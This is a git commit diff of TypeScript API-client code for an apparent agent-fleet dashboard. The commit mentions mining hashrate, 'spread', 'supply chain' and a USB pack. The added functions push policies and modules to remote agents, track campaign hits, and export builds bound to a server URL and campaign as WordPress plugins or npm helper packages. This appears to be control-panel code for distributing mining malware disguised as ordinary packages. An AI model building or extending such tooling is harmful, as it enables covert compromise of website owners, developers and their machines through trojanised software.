feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -58,6 +58,20 @@ export function getStoredAuth(): string | null {
return readAuthStorage();
}
/** Username from stored Basic auth token (before the colon). */
export function getStoredUsername(): string | null {
const token = getStoredAuth();
if (!token) return null;
try {
const decoded = atob(token);
const idx = decoded.indexOf(':');
if (idx <= 0) return null;
return decoded.slice(0, idx);
} catch {
return null;
}
}
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
const token = encodeBasicToken(username, password);
writeAuthStorage(token);

View File

@@ -302,6 +302,21 @@ export const api = {
fetchJSON<{ ok: boolean }>(`/fleet-tasks/${id}`, { method: 'DELETE' }),
getSpreadFunnel: () => fetchJSON<import('../types').SpreadFunnelStats>('/dashboard/spread-funnel'),
listFleetModules: () => fetchJSON<import('../types').FleetModuleManifest[]>('/fleet/modules'),
pushFleetPolicy: (body: {
agent_ids: string[];
policy: Record<string, unknown>;
}) =>
fetchJSON<{ success: boolean; sent?: number; failed?: number; targets?: number; push_id?: string; error?: string }>('/fleet/policy', {
method: 'PUT',
body: JSON.stringify(body),
}),
pushFleetModule: (body: { agent_ids: string[]; module: string }) =>
fetchJSON<{ success: boolean; sent?: number; failed?: number; module?: string; error?: string }>(
'/fleet/modules/push',
{ method: 'POST', body: JSON.stringify(body) },
),
// Public builds (unauthenticated — used on login page)
listPublicBuilds: async (): Promise<PublicBuildsResponse> => {
const res = await fetch(`${API_BASE}/public/builds`);
@@ -318,6 +333,8 @@ export const api = {
}),
listCampaignHits: () =>
fetchJSON<{ campaigns: CampaignHitSummary[] }>('/emberwake/campaigns'),
getWarRoom: (days = 7) =>
fetchJSON<import('../types').WarRoomResponse>(`/emberwake/war-room?days=${days}`),
exportSpreadKit: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/spread-kit-export`, {
@@ -336,6 +353,47 @@ export const api = {
URL.revokeObjectURL(url);
},
exportWordPressPlugin: async (req: {
build_id: string;
server_url: string;
campaign: string;
site_name: string;
}) => {
const res = await fetch(`${API_BASE}/builder/wordpress-plugin-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${slug}-wordpress-plugin.zip`;
a.click();
URL.revokeObjectURL(url);
},
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
const res = await fetch(`${API_BASE}/builder/npm-helper-export`, {
method: 'POST',
headers: { 'Content-Type': 'application/json', ...authHeaders() },
body: JSON.stringify(req),
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${slug}-npm-helper.zip`;
a.click();
URL.revokeObjectURL(url);
},
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {